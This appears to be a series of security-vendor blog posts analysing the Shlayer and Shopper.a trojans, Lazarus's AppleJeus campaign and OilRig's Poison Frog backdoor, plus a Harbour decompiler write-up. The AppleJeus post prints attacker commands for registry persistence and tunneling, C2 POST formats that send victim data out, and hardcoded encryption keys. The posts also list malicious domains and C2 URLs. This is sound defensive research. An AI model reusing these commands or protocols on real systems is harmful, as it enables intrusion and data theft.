The behavioral similarities between the Python version of Shlayer and earlier modifications of the family written in Bash are not hard to spot: harvesting IDs and system versions, downloading an archive to a temporary directory, executing the downloaded file, deleting traces of downloading — we’ve seen this course of actions before. Moreover, both modifications use curl with the combination of options -f0L, which is basically the calling card of the entire family:

Top: an old modification of the Trojan; bottom: the latest version

Finding legitimate use for curl with options –f0L is not an easy task


Distribution is a vital part of any malware’s life cycle, and the creators of Shlayer have taken this issue to heart. Looking for the latest episode of your favorite TV show? Want to watch a live broadcast of a soccer match? Then take extra care, since the chances of a run-in with Shlayer are high.

Examples of Shlayer landing pages

We noticed at once several file partner programs in which Shlayer was offered as a monetization tool. Having analyzed various offers, we identified a general trend: Shlayer stands out from the field for the relatively high installation fee (though only installations performed by U.S.-based users count). The prospect of a juicy profit likely contributed to the popularity of the offer (we counted more than 1000 partner sites distributing Shlayer).

Description of the offer on a partner program website

In most cases, it was advertising landing pages that brought users to the next stage of the distribution chain — nicely crafted fake pages prompting to install the malware under the veil of a Flash Player update. This is primarily how the Trojan-Downloader.OSX.Shlayer.a modification was distributed.

Fake Flash Player download page

The version of Trojan-Downloader.OSX.Shlayer.e discussed above was propagated in a slightly different way. Similar to the previous scheme, users ended up on a page seemingly offering an Adobe Flash update. But they were redirected there from large online services boasting a multimillion-dollar audience. Time and again, we have uncovered links pointing to malware downloads in the descriptions of YouTube videos:

Another example is links to Shlayer distribution pages contained in the footnotes to Wikipedia articles:

These links were not added by the cybercriminals themselves: we found that all those malicious domains had recently expired, and, judging by the WHOIS data, they now belong to a single individual. On the websites, the newly minted owner posted a malicious script that redirects users to Shlayer download landing pages. There are already over 700 such domains in total.

Our statistics show that the majority of Shlayer attacks are against users in the U.S. (31%), followed by Germany (14%), France (10%), and the UK (10%). This is wholly consistent with the terms and conditions of partner programs that deliver the malware, and with the fact that almost all sites with fake Flash Player download pages had English-language content.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Geographic distribution of users attacked by the Shlayer Trojan, February 2018 – October 2019 (download)


Having studied the Shlayer family, we can conclude that the macOS platform is a good source of revenue for cybercriminals. The Trojan links even reside on legitimate resources — attackers are adept in the art of social engineering, and it is hard to predict how sophisticated the next deception technique will be.

Kaspersky solutions detect Shlayer and its artifacts and download pages with the following verdicts:

  • HEUR:Trojan-Downloader.OSX.Shlayer.*
  • not-a-virus:HEUR:AdWare.OSX.Cimpli.*
  • not-a-virus:AdWare.Script.SearchExt.*
  • not-a-virus:AdWare.Python.CimpliAds.*
  • not-a-virus:HEUR:AdWare.Script.MacGenerator.gen


  • 4d86ae25913374cfcb80a8d798b9016e
  • fa124ed3905a9075517f497531779f92
  • 594aa050742406db04a8e07b5d247cdd

Malicious links:

  • hxxp://
  • hxxp://sci-hub[.]tv
  • hxxp://kodak-world[.]com

C&C Urls:

  • hxxp://api.typicalarchive[.]com
  • hxxp://api.entrycache[.]com
  • hxxp://api.macsmoments[.]com
2020. január 9.

Smartphone shopaholic

Have you ever noticed strange reviews of Google Play apps that look totally out of place? Their creators might give it five stars, while dozens of users rate it with just one, and in some cases the reviews seem to be talking about some other program entirely.

If so, you may be unknowingly acquainted with the work of Trojan-Dropper.AndroidOS.Shopper.a.

How Shopper.a works

Cybercriminals use Trojan-Dropper.AndroidOS.Shopper.a to boost certain app’s rating and increase the number of installations and registrations. All this can be used, among other things, to dupe advertisers. What’s more, the Trojan can display advertising messages on the infected device, create shortcuts to ad sites, and perform other actions.

Back to the suspicious reviews, Trojan-Dropper.AndroidOS.Shopper.a. can open Google Play (or another app store), install several programs, and write fake user reviews of them. To make user not notice anything untoward, the installation window is concealed by the app’s “invisible” window. The lack of installation rights from third-party sources is no obstacle to the Trojan — it gives itself the requisite permissions through AccessibilityService. This service is intended by Google to facilitate the use of smartphones for people with disabilities, but in the hands of cybercriminals it poses a serious threat to device owners. With permission to use it, the malware has almost limitless possibilities for interacting with the system interface and apps. For instance, it can intercept data displayed on the screen, click buttons, and emulate user gestures.

Masked as a system app, the malware misleads the user by using the system icon and the name ConfigAPKs. Our eye was caught by the app’s heavy obfuscation and suspicious use of AccessibilityService.

Distribution of Trojan-Dropper.AndroidOS.Shopper.a, October – November 2019

Trojan-Dropper.AndroidOS.Shopper.a was most widespread in Russia, where the largest share of infected users (28.46%) was recorded in October – November 2019. Second place went to Brazil (18.70%) and third to India (14.23%).

Technical details

At startup, after the screen is unlocked, the app decrypts and downloads the payload.

Then the Trojan collects information about victim’s device (country, network type, vendor, smartphone model, email address, IMEI, IMSI), and forwards it to the cybercriminal server at:


In response, it receives a set of commands:

Depending on the commands, Shopper.a can:

  • Open links received from the remote server in an invisible window (whereby the malware verifies that the user is connected to a mobile network).
  • After a certain number of screen unlocks, hide itself from the apps menu.
  • Check the availability of AccessibilityService rights and, if not granted, periodically issue a phishing request to the user to provide them.
  • Disable Google Play Protect.
  • Create shortcuts to advertised sites in the apps menu.
  • Download apps from the third-party “market” Apkpure[.]com and install them.
  • Open advertised apps on Google Play and “click” to install them.
  • Replace shortcuts to installed apps with shortcuts to advertised sites.
  • Post fake reviews supposedly from the Google Play user.
  • Show ads when the screen is unlocked.
  • Register users through their Google or Facebook accounts in the following apps:
Icon App Package name Aliexpress com.alibaba.aliexpresshd Lazada com.lazada.android Zalora com.zalora.android Shein com.zzkko Netshoes br.com.netshoes.app Phrendly com.phrendly Tiket.com com.tiket.gits Airy com.airyrooms.android Jabong com.jabong.android MakeMyTrip com.makemytrip Joom com.joom Likee video.like Submarino com.b2w.submarino Alibaba com.alibaba.intl.android.apps.poseidon Newchic com.newchic.client Dailyhunt com.eterno Banggood com.banggood.client Hotstar in.startv.hotstar Conclusion

As noted above, one of the things that drew our attention was the use of AccessibilityService. This service is usually accessed by people with vision problems to facilitate smartphone use, such as having the names of app controls, web page content, etc., read out automatically. In other cases, it can be used to emulate on the app screen physical smartphone keys that have stopped working. If access is requested by a program whose functionality does not require AccessibilityService, be wary. And the best option is not to install apps from dubious sources at all, including from ads, whatever they promise. Even if the only danger posed by such apps comes from automatically written reviews, there is no guarantee that its creators will not change the payload at some later date. In any event, it’s worth getting hold of a mobile security solution that can independently detect and block dangerous apps.

  • 0a421b0857cfe4d0066246cb87d8768c
  • 0b54b822683a70b9d4a3af08a2d506b2
  • 0b682e9cae5b8623fc3e62048623dcdb
  • 0ea057c5294a6cbfeffd2e91ae945981
  • 0eb70afbb011916facf075f80cc07605
  • 1a6d60b97fdeb29afc0bd16fcaa92d3a
  • 1e82c197037ff0e21ccbc8c6161144c8
  • 1e937712ca84a6364226a35e2fd9a550
  • 1f13ba11ceba8ddb6e0faf61e6d8da23
  • 2d234accdc400c892657b8568e217593
  • 2d755050c896aed9701aa78a3668bf72
  • 3a5ed5f6ecaa71f5c7b7447c1f451144
  • 3ad3f270aef9f56d9117f711a3783a4a
  • 3b1a2420c4afc019a19481a6f4282894
  • 3c312fbb18e7822f87334a9366baf9fc
  • 3cadeea4dedaf7d7db8b84d52cd6caea
  • 03ccb6adbe12daef1b40f7a6d7d26dbc
  • 3dc6538239e90e51233789c5876ccb71
  • 3fe0e78d451bb8389f1d8cb5009c3452
  • 4a3099f300741123e3c18b3a6d587ed8
  • 4e44fb07073ea46390ea94ce26d7d737
  • 5bbc06fc3058b76ee09d3cce608ebdda
  • 5c316045836c4b4110552cc80af2fe75
  • 5e313e5e4e37e87633ea342a24c27534
  • 6ec7e5334f8b11499c150ba28f06e78c
  • 7a0d40f3598a91fc1206b3b2bdd49c2c
  • 7c68eb0bd93d8cf27539d2ff7da5bb15


2020. január 8.

Operation AppleJeus Sequel

The Lazarus group is currently one of the most active and prolific APT actors. In 2018, Kaspersky published a report on one of their campaigns, named Operation AppleJeus. Notably, this operation marked the first time Lazarus had targeted macOS users, with the group inventing a fake company in order to deliver their manipulated application and exploit the high level of trust among potential victims. As a result of our ongoing efforts, we identified significant changes to the group’s attack methodology. To attack macOS users, the Lazarus group has developed homemade macOS malware, and added an authentication mechanism to deliver the next stage payload very carefully, as well as loading the next-stage payload without touching the disk. In addition, to attack Windows users, they have elaborated a multi-stage infection procedure, and significantly changed the final payload. We assess that the Lazarus group has been more careful in its attacks following the release of Operation AppleJeus and they have employed a number of methods to avoid being detected.

For more information, please contact: intelreports@kaspersky.com

Life after Operation AppleJeus

After releasing Operation AppleJeus, the Lazarus group continued to use a similar modus operandi in order to compromise cryptocurrency businesses. We found more macOS malware similar to that used in the original Operation AppleJeus case. This macOS malware used public source code in order to build crafted macOS installers. The malware authors used QtBitcoinTrader developed by Centrabit.

Original AppleJeus WbBot case MacInstaller case DMG file hash 48ded52752de9f9b73c6bf9ae81cb429 3efeccfc6daf0bf99dcb36f247364052 c2ffbf7f2f98c73b98198b4937119a18 PKG file hash dab34d94ca08ba5b25edadfe67ae4607 cb56955b70c87767dee81e23503086c3 8b4c532f10603a8e199aa4281384764e PKG file name CelasTradePro.pkg WbBot.pkg BitcoinTrader.pkg Packaging time 2018-07-12 14:09:33 2018-11-05 6:11:38 2018-12-19 0:15:19 Malicious mach-o hash aeee54a81032a6321a39566f96c822f5 b63e8d4277b190e2e3f5236f07f89eee bb04d77bda3ae9c9c3b6347f7aef19ac C2 server www.celasllc[.]com/checkupdate.php https://www.wb-bot[.]org/certpkg.php https://www.wb-bot[.]org/certpkg.php XOR key Moz&Wie;#t/6T!2y 6E^uAVd-^yYkB-XG 6E^uAVd-^yYkB-XG RC4 key W29ab@ad%Df324V$Yd SkQpTUT8QEY&Lg+BpB SkQpTUT8QEY&Lg+BpB 2nd payload path /var/zdiffsec /var/pkglibcert /var/pkglibcert 2nd payload argument bf6a0c760cc642 bf6a0c760cc642 bf6a0c760cc642

These three macOS installers use a similar post installer script in order to implant a mach-o payload, as well as using the same command-line argument when executing the fetched second-stage payload. However, they have started changing their macOS malware. We recognized a different type of macOS malware, MarkMakingBot.dmg (be37637d8f6c1fbe7f3ffc702afdfe1d), created on 2019-03-12. It doesn’t have an encryption/decryption routine for network communication. We speculate that this is an intermediate stage in significant changes to their macOS malware.

Change of Windows malware

During our ongoing tracking of this campaign, we found that one victim was compromised by Windows AppleJeus malware in March 2019. Unfortunately, we couldn’t identify the initial installer, but we established that the infection started from a malicious file named WFCUpdater.exe. At that time, the actor used a fake website: wfcwallet[.]com

Fig. 1 Binary infection procedure used in WFCWallet case

The actor used a multi-stage infection like before, but the method was different. The infection started from .NET malware, disguised as a WFC wallet updater (a9e960948fdac81579d3b752e49aceda). Upon execution, this .NET executable checks whether the command line argument is “/Embedding” or not. This malware is responsible for decrypting the WFC.cfg file in the same folder with a hardcoded 20-byte XOR key (82 d7 ae 9b 36 7d fc ee 41 65 8f fa 74 cd 2c 62 b7 59 f5 62). This mimics the wallet updater connected to the C2 addresses:

  • wfcwallet.com (resolved ip:
  • www.chainfun365.com (resolved ip:

After that, it carries out the malware operator’s commands in order to install the next stage permanent payload. The actor delivered two more files into the victim’s system folder: rasext.dll and msctfp.dat. They used the RasMan (Remote Access Connection Manager) Windows service to register the next payload with a persistence mechanism. After fundamental reconnaissance, the malware operator implanted the delivered payload by manually using the following commands:

  • cmd.exe /c dir rasext.dll
  • cmd.exe /c dir msctfp.dat
  • cmd.exe /c tasklist /svc | findstr RasMan
  • cmd.exe /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\RasMan\ThirdParty /v DllName /d rasext.dll /f

In order to establish remote tunneling, the actor delivered more tools, executing with command-line parameters. Unfortunately, we have had no chance to obtain this file, but we speculate that Device.exe is responsible for opening port 6378, and the CenterUpdater.exe tool was used for creating tunneling to a remote host. Note that the server is used as a C2 server. The fake website hosting server for the UnionCryptoTrader case will be described next.

  • Port opener:

%APPDATA%\Lenovo\devicecenter\Device.exe 6378

  • Tunneling tool:

%APPDATA%\Lenovo\devicecenter\CenterUpdater.exe 6378 443

Change of macOS malware

JMTTrading case

While tracking this campaign, we identified more heavily deformed macOS malware. At the time, the attacker called their fake website and application JMTTrading. Other researchers and security vendors found it too, and published IoCs with abundant technical details. Malware Hunter Team tweeted about this malicious application, Vitali Kremez published a blog about the Windows version of the malware, and Object-See published details about the macOS malware. We believe these reports are sufficient to understand the technical side. Here, we would like to highlight what’s different about this attack.

  • The actor used GitHub in order to host their malicious applications.
  • The malware author used Object-C instead of QT framework in their macOS malware.
  • The malware implemented a simple backdoor function in macOS executable.
  • The malware encrypted/decrypted with a 16-byte XOR key (X,%`PMk–Jj8s+6=) similar to the previous case.
  • The Windows version of the malware used ADVobfuscator, a compiled time obfuscator, in order to hide its code.
  • The post-install script of macOS malware differed significantly from the previous version.

UnionCryptoTrader case

We also identified another macOS targeted attack that took place very recently. The malicious application name in this case is UnionCryptoTrader. After compiling a threat intelligence report for our customers, one security researcher (@dineshdina04) discovered an identical case, and Objective-See published a very detailed blog on the macOS malware used in this attack. The Objective-See blog goes into sufficient detail to explain the malware’s functionality, so we will just summarize the attack:

  • The post-install script is identical to that used in the JMTTrading case.
  • The malware author used SWIFT to develop this macOS malware.
  • The malware author changed the method for collecting information from the infected system.
  • The malware starts to conduct authentication using auth_signature and auth_timestamp parameters in order to deliver the second-stage payload more carefully. The malware acquires the current system time and combines it with the “12GWAPCT1F0I1S14” hardcoded string, and produces an MD5 hash of the combined string. This hash is used as the value of the auth_signature parameter and the current time is used as the value of the auth_timestamp parameter. The malware operator can reproduce the auth_signature value based on the auth_timestamp at the C2 server side.
  • The malware loads the next stage payload without touching the disk.
Windows version of UnionCryptoTrader

We also found a Windows version of the UnionCryptoTrader (0f03ec3487578cef2398b5b732631fec). It was executed from the Telegram messenger download folder:

C:\Users\[user name]\Downloads\Telegram Desktop\UnionCryptoTraderSetup.exe

We also found the actor’s Telegram group on their fake website. Based on these, we assess with high confidence that the actor delivered the manipulated installer using the Telegram messenger. Unfortunately, we can’t get all the related files as some payloads were only executed in memory. However, we can reassemble the whole infection procedure based on our telemetry. The overall infection procedure was very similar to the WFCWallet case, but with an added injection procedure, and they only used the final backdoor payload instead of using a tunneling tool.

Fig. 2 Binary infection procedure

The UnionCryptoTrader Windows version has the following window showing a price chart for several cryptocurrency exchanges.

Fig. 3 Windows version of UnionCryptoTrader

The Windows version of UnionCryptoTrader updater (629b9de3e4b84b4a0aa605a3e9471b31) has similar functionality to the macOS version. According to the build path (Z:\Loader\x64\Release\WinloaderExe.pdb), the malware author called this malware a loader. Upon launch, the malware retrieves the victim’s basic system information, sending it in the following HTTP POST format, as is the case with the macOS malware.

POST /update HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 auth_timestamp: [Current time] auth_signature: [Generated MD5 value based on current time] Content-Length: 110 Host: unioncrypto.vip rlz=[BIOS serial number]&ei=[OS version] ([build number])&act=check

If the response code from the C2 server is 200, the malware decrypts the payload and loads it in memory. Finally, the malware sends the act=done value and return code. The next stage payload (e1953fa319cc11c2f003ad0542bca822), downloaded from this loader, is similar to the .NET downloader in the WFCWallet case. This malware is responsible for decrypting the Adobe.icx file in the same folder. It injects the next payload into the Internet Explorer process, and the tainted iexplore.exe process carries out the attacker’s commands. The final payload (dd03c6eb62c9bf9adaf831f1d7adcbab) is implanted manually as in the WFCWallet case. This final payload was designed to run only on certain systems. It seems that the malware authors produced and delivered malware that only works on specific systems based on previously collected information. The malware checks the infected system’s information and compares it to a given value. It seems the actor wants to execute the final payload very carefully, and wants to evade detection by behavior-based detection solutions.

Fig. 4 Malware execution flow

This Windows malware loads the encrypted msctfp.dat file in a system folder, and loads each configuration value. Then it executes an additional command based on the contents of this file. When the malware communicates with the C2 server, it uses a POST request with several predefined headers.

POST /[C2 script URL] HTTP/1.1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Content-Type: application/x-www-form-urlencoded Connection: keep-alive or Connection: close User-Agent: [User-agent of current system] Host: unioncrypto.vip

For the initial communication, the malware first sends parameters:

  • cgu: 64bits hex value from configuration
  • aip: MD5 hash value from configuration
  • sv: hardcoded value(1)

If the response code from the C2 server is 200, the malware sends the next POST request with encrypted data and a random value. The malware operator probably used the random value to identify each victim and verify the POST request.

  • imp: Random generated value
  • dsh: XORed value of imp
  • hb_tp: XORed value(key: 0x67BF32) of imp
  • hb_dl: Encrypted data to send to C2 server
  • ct: hardcoded value(1)

Finally, the malware downloads the next stage payload, decrypting it and possibly executing it with the Print parameter. We speculate that the DLL type payload will be downloaded and call its Print export function for further infection. We can’t get hold of the final payload that’s executed in memory, but we believe its backdoor-type malware is ultimately used to control the infected victim.


We found several fake websites that were still online when we were investigating their infrastructure. They created fake cryptocurrency-themed websites, but they were far from perfect and most of the links didn’t work.

Fig. 5 Website of cyptian.com

Fig. 6 Website of unioncrypto.vip

We found an identical Cyptian web template on the internet. We speculate that the actor used free web templates like this to build their fake websites. Moreover, there is a Telegram address(@cyptian) on the Cyptian website. As we mentioned previously, the actor delivered a manipulated application via Telegram messenger. This Telegram address was still alive when we investigated, but there were no more activities at that time. According to the chat log, the group was created on December 17, 2018 and some accounts had already been deleted.

Fig. 7 Telegram account


We were able to identify several victims in this Operation AppleJeus sequel. Victims were recorded in the UK, Poland, Russia and China. Moreover, we were able to confirm that several of the victims are linked to cryptocurrency business entities.

Fig. 8 Infection map

The actor altered their macOS and Windows malware considerably, adding an authentication mechanism in the macOS downloader and changing the macOS development framework. The binary infection procedure in the Windows system differed from the previous case. They also changed the final Windows payload significantly from the well-known Fallchill malware used in the previous attack. We believe the Lazarus group’s continuous attacks for financial gain are unlikely to stop anytime soon.

Fig. 9 Timeline of Operation AppleJeus

Since the initial appearance of Operation AppleJeus, we can see that over time the authors have changed their modus operandi considerably. We assume this kind of attack on cryptocurrency businesses will continue and become more sophisticated.

Appendix I – Indicators of Compromise File Hashes (malicious documents, Trojans, emails, decoys) macOS malware
  • c2ffbf7f2f98c73b98198b4937119a18 MacInstaller.dmg
  • 8b4c532f10603a8e199aa4281384764e BitcoinTrader.pkg
  • bb04d77bda3ae9c9c3b6347f7aef19ac .loader
  • 3efeccfc6daf0bf99dcb36f247364052 4_5983241673595946132.dmg
  • cb56955b70c87767dee81e23503086c3 WbBot.pkg
  • b63e8d4277b190e2e3f5236f07f89eee .loader
  • be37637d8f6c1fbe7f3ffc702afdfe1d MarkMakingBot.dmg
  • bb66ab2db0bad88ac6b829085164cbbb BitcoinTrader.pkg
  • 267a64ed23336b4a3315550c74803611 .loader
  • 6588d262529dc372c400bef8478c2eec UnionCryptoTrader.dmg
  • 55ec67fa6572e65eae822c0b90dc8216 UnionCryptoTrader.pkg
  • da17802bc8d3eca26b7752e93f33034b .unioncryptoupdater
  • 39cdf04be2ed479e0b4489ff37f95bbe JMTTrader_Mac.dmg
  • e35b15b2c8bb9eda8bc4021accf7038d JMTTrader.pkg
  • 6058368894f25b7bc8dd53d3a82d9146 .CrashReporter
Windows malware
  • a9e960948fdac81579d3b752e49aceda WFCUpdater.exe
  • 24B3614D5C5E53E40B42B4E057001770 UnionCryptoTraderSetup.exe
  • 629B9DE3E4B84B4A0AA605A3E9471B31 UnionCryptoUpdater.exe
  • E1953FA319CC11C2F003AD0542BCA822 AdobeUpdator.exe, AdobeARM.exe
  • f221349437f2f6707ecb2a75c3f39145 rasext.dll
  • 055829E7600DBDAE9F381F83F8E4FF36 UnionCryptoTraderSetup.exe
  • F051A18F79736799AC66F4EF7B28594B Unistore.exe
File path
  • %SYSTEM%\system32\rasext.dll
  • %SYSTEM%\system32\msctfp.dat
  • %APPDATA%\Lenovo\devicecenter\Device.exe
  • %APPDATA%\Lenovo\devicecenter\CenterUpdater.exe
  • %APPDATA%\Local\unioncryptotrader\UnionCryptoUpdater.exe
  • $APPDATA%\adobe\AdobeUpdator.exe
  • C:\Programdata\adobe\adobeupdator.exe
  • %AppData%\Local\Comms\Unistore.exe
Domains and IPs Domains
  • www.wb-bot.org
  • www.jmttrading.org
  • cyptian.com
  • beastgoc.com
  • www.private-kurier.com
  • www.wb-invest.net
  • wfcwallet.com
  • chainfun365.com
  • www.buckfast-zucht.de
  • invesuccess.com
  • private-kurier.com
  • aeroplans.info
  • mydealoman.com
  • unioncrypto.vip
  • https://www.wb-bot[.]org/certpkg.php
  • http://95.213.232[.]170/ProbActive/index.do
  • http://beastgoc[.]com/grepmonux.php
  • https://unioncrypto[.]vip/update
2019. december 20.

How we developed our simple Harbour decompiler


Every once in a while we get a request that leaves us scratching our heads. With these types of requests, existing tools are usually not enough and we have to create our own custom tooling to solve the “problem”. One such request dropped onto our desk at the beginning of 2018, when one of our customers – a financial institution – asked us to analyze a sample. This in itself is nothing unusual – we receive requests like that all the time. But what was unusual about this particular request was that the sample was written in ‘Harbour’. For those of you who don’t know what Harbour is (just like us), you can take a look here, or carry on reading.

Harbour is a programming language originally designed by Antonio Linares that saw its first release in 1999. It’s based on the old Clipper system and is primarily used for the creation of database programs.

Understanding Harbour’s internals

Let us take a “Hello, world” example from the Harbour repository tests – hello.prg.

// Typical welcome message PROCEDURE Main() ? "Hello, world!" RETURN

Figure 1: Harbour version of “Hello, world!”

It prints the “Hello, world!” message to the terminal. For that, you need to build a Harbour binary to execute the code (there are also other ways to run it without building a binary, but we chose this path because the received sample was an executable).

Compiling is as simple as calling:

hbmk2.exe hello.prg

This command will generate C code and compile the C code into the final executable. The generated C code for hello.prg can be found in Figure 2.

/* * Harbour 3.0.0 (Rev. 16951) * MinGW GNU C 4.5.2 (32-bit) * Generated C source from "hello.prg" */ #include "hbvmpub.h" #include "hbinit.h" HB_FUNC( MAIN ); HB_FUNC_EXTERN( QOUT ); HB_INIT_SYMBOLS_BEGIN( hb_vm_SymbolInit_HELLO ) { "MAIN", {HB_FS_PUBLIC | HB_FS_FIRST | HB_FS_LOCAL}, {HB_FUNCNAME( MAIN )}, NULL }, { "QOUT", {HB_FS_PUBLIC}, {HB_FUNCNAME( QOUT )}, NULL } HB_INIT_SYMBOLS_EX_END( hb_vm_SymbolInit_HELLO, "hello.prg", 0x0, 0x0003 ) #if defined( HB_PRAGMA_STARTUP ) #pragma startup hb_vm_SymbolInit_HELLO #elif defined( HB_DATASEG_STARTUP ) #define HB_DATASEG_BODY HB_DATASEG_FUNC( hb_vm_SymbolInit_HELLO ) #include "hbiniseg.h" #endif HB_FUNC( MAIN ) { static const HB_BYTE pcode[] = { 36,5,0,176,1,0,106,14,72,101,108,108,111,44, 32,119,111,114,108,100,33,0,20,1,36,7,0,7 }; hb_vmExecute( pcode, symbols ); }

Figure 2: Generated C code for hello.prg

You can see that the MAIN function starts the Harbour virtual machine (HVM) function hb_vmExecute with two parameters: the pcode, precompiled Harbour code; and the symbols, which are defined by a different macro above the MAIN function. As you can imagine, the pcode (portable code) contains the instructions that are interpreted by the HVM. You can find the official explanation of the pcode in the link below.


After the C program has been compiled (by MINGW in our case), we find almost the same structures inside it: symbol table and pcode (Figure 3 and Figure 4 respectively).

Figure 3: Harbour symbols table of hello.exe

Figure 4: Harbour pcode of hello.exe


Back to our sample. We now know that we need to find the pcodes and symbols in the executable and see which opcodes belong to which instruction. If we do this, we can get a fair grasp of how the program works. As you can probably guess, there were no readily available tools to do this. So, we wrote our own.

The aim of our decompiler is to make the bytecode readable by a human. We chose to mix the resulting pseudocode in assembler with C (it’s still hard to read in some places, but was fine for our purposes).

./hb_dec hello.exe e_magic : 5a4d e_lfanew(PE) : 80 OptionalHeader.AddressOfEntryPoint: 1160 OptionalHeader.ImageBase: 400000 Found hb source filename: hello.prg Cheсking if this program compiled by MINGW .data section found usual padding size correct (20==20) yes, it is MINGW hb_symbols_table_va : 4d5020 hb_symbols_table_raw_offset : d4620 hb_symb #0 name: MAIN scope.value: 205 [ HB_FS_PUBLIC | HB_FS_FIRST | HB_FS_LOCAL ] value.pFunPtr: 4013c0 pDynSym: 0 === pcode offset 4d706e for local function MAIN === hb_symb #1 name: QOUT scope.value: 1 [ HB_FS_PUBLIC ] value.pFunPtr: 44b7c0 pDynSym: 0 === hb_symb #2 name: EVAL scope.value: 1 [ HB_FS_PUBLIC ] value.pFunPtr: 442860 pDynSym: 0 === hb_symb #3 name: hb_stackInit scope.value: 2 [ HB_FS_STATIC ] value.pFunPtr: 0 pDynSym: 0 === found pcode for local function MAIN 4D708A - 4D706E = 1C PCODE for local function MAIN pcode size 1C 00000000 24 05 00 /* currently compiled source code line number 5 */ 00000003 B0 01 00 push offset QOUT 00000006 6A 0E 48 65 6C 6C 6F 2C ... push offset "Hello, world!" 00000016 14 01 call 1 /* call a function from STACK[-1] and discard the results */ 00000018 24 07 00 /* currently compiled source code line number 7 */ 0000001b 07 end proc

Figure 5 – The decompiled output of the hello.prg program

Figure 5 also shows that Harbour is a stack-based compiler. The first push argument is the function name, after which the variables are pushed, followed by the call 1 command, where 1 is the number of function parameters to be popped. The above lines can thus be interpreted in C pseudocode as:

QOUT("Hello, world!");

We hope this decompiler makes analyzing samples written in Harbour a little bit easier for others as well.

2019. december 17.

OilRig’s Poison Frog – old samples, same trick

After we wrote our private report on the OilRig leak, we decided to scan our archives with our YARA rule, to hunt for new and older samples. Aside from finding some new samples, we believe we also succeeded in finding some of the first Poison Frog samples.

Poison Frog

We’re not quite sure whether the name Poison Frog is the name given to the backdoor by the malware authors, or by the leakers. The fact is though, that one of the earliest Poison Frog samples we could find uses ‘poison-frog[.]club’ as the domain name for its C2.

But before we go there, let’s first take a look at a sample (MD5 4EA656D10BE1D6EAC05D69252D270592). This is a PE32 executable, written in C#. The C# code is not that interesting; its only functionality is to drop the PowerShell script (which contains the backdoors and is embedded within the executable), execute it and delete it afterwards. The same functionality (with occasional variations in the implementation) appears in all the PE32 samples we found.

The embedded PowerShell script follows the same logic as all the dropper PowerShell scripts we found. There are two long strings called dns_ag and http_ag (although the former is an empty string in this sample) that contain the DNS and HTTP backdoor (base64 encoded). As always, persistence is achieved by using the task scheduler utility.

After base64 decoding the DNS agent, and converting it from UTF16 to ASCII, we end up with the first version of the Poison Frog HTTP backdoor: a 59-line PowerShell backdoor. As you would expect from a 59-line backdoor written in PowerShell, its functionality is limited and its operation is rather simple.

First, it starts by calculating a UID based on the MAC address or the output of whoami. Then it sends the UID, surrounded by random numbers and/or encapsulated within the string 24351243510. Then, if a reply 11 characters long is received, the reply is sent back to the C2 followed by or prepended with a ‘1’. This reply is saved in a variable because it is used to determine what functionality is called by the C2. But first, the initial reply is sent back – this time followed by or prepended with a ‘3’.

Now, depending on the last character of the saved reply, the following actions take place:

If the last character is a ‘0’, the command specified in the reply is executed on the machine and the result is sent back to the C2;

If the last character is a ‘1’, the agent checks if the file specified in the reply exists on the system. If it doesn’t, a 404 is sent back; if it does, the file is sent to the server;

If a ‘2’ is received, the file is saved on the system at the location specified in the reply.

And that’s it. All in 59 lines.

Another sample we found is MD5 C9F16F0BE8C77F0170B9B6CE876ED7FB. It embeds one of the earliest versions of the DNS agent. In 335 lines of code it is able to execute commands on the system as well as save files to the system.

Poison Frog disguises

Installing malware on a system is not always easy. So the OilRig developers decided to pull a little trick and disguise the malware as the legitimate Cisco AnyConnect application. The backdoor is embedded in a similar way to that used in the samples above.

They made some small implementation mistakes, however. For example, the info popup appears every time you click on it, which doesn’t happen with the benign application.

The following message also helped fool users – it appeared when the connect button was clicked:

This may lead users to think there is something wrong with the application or their internet access, though in reality the backdoor is being silently installed on the system.

OilRig’s sloppiness

OilRig is not the most advanced APT actor, with several small mistakes made during the course of its activities.

For example, one sample failed to execute properly because of a typo (note the ‘Poweeershell.exe’ instead of ‘Powershell.exe’):

Also, many samples still had the PDB path inside the binary:

With other samples, they changed the compilation date to a future date – one that was after its release. For instance, one sample – 87FB0C1E0DE46177390DE3EE18608B21 – has a compilation date of 2018-07-25, though we found it on our systems a year earlier.

For more details and the latest information on OilRig, please contact intelreports@kaspersky.com